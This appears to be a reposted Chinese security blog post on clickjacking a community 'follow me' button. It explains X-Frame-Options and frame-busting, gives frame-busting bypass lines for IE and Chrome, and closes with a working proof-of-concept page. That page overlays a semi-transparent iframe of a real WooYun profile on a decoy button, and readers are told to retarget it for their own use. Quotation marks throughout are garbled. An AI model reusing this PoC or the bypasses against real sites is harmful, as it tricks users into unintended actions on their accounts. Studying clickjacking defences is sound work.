好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

猥琐流之”关注我吧” - 网站安全 - 自学php

 主要说一下问世多年缺一直没被重视的]点击劫持].

应用场景: 1.社区的 关注功能 ,在WEB2.0时代]关注我]已经成为一个社区必备功能,被关注的愈多在社区的影响力往往也愈大.

点击劫持科普: 简单来说就是在一个网页内再嵌入一个要攻击的网站,把这个嵌入的网站设置为透明,然后再上面覆盖一层东西,让你点到他想要你点到的位置,而实际上你点击的确实被嵌入的网站,这样就完成了一次点击劫持攻击.

防嵌入?怎么破? 因为]点击劫持]已经问世很多年,所以主流的浏览器基本上都提供的防御方案. 1.X-Frame-Options http响应头 三个选项: (1)DENY : 不允许被任何网站嵌入. (2)SAMEORIGIN : 允许被同源的网站嵌入. (3)ALLOW-FROM uri : uri为一个指定的地址,仅允许这个uri嵌入. 对于用这个办法防御的网站来说没有什么好办法,但ie低版本并不支持.

2.FrameBusting 简单来说就是用JS来检测是否被嵌入. 经典的framebuting代码: if (top.location !== self.location) top.location=self.location; 对于这种 framebuting还是可以hacking下 的: 1.IE下的突破方法: if(self.ActiveXObject)var location={}; 2.Chrome下的突破方法,不过偶尔会失效,因为是利用时间竞争来突破的: if(self.chrome)setInterval('location="javascript:void(0)"');//Chrome 乌云正好是用的这种经典framebusting,所以这里用乌云做个范例.

乌云]关注我]功能的POC: <script> var xx=200; var yy=200; window.onload=function (e){ var iframe = document.getElementById('xxx'); var e = e||window.event;

var x=e.clientX+document.body.scrollLeft+document.documentElement.scrollLeft; var y=e.clientY+document.body.scrollTop+document.documentElement.scrollTop;

iframe.style.left=a.offsetLeft-xx; iframe.style.top=a.offsetTop-yy; } www.2cto.com

</script> <script> if(self.ActiveXObject)var location={};//IE if(self.chrome)setInterval(‘location=]javascript:void(0)]‘);//Chrome </script> <iframe style=]position:absolute;opacity: 0.5;filter:alpha(opacity=50);z-index:1;] id=xxx src=]http://www.wooyun.org/whitehats/Sogili] WIDTH=60% height=500></iframe> <br><br></br><br></br><br></br><center><button id=a>点击</button></center> 自己用的话调下iframe的地址,宽高和xx,yy这个两个变量的值就好.

查看更多关于猥琐流之”关注我吧” - 网站安全 - 自学php的详细内容...

  阅读:33次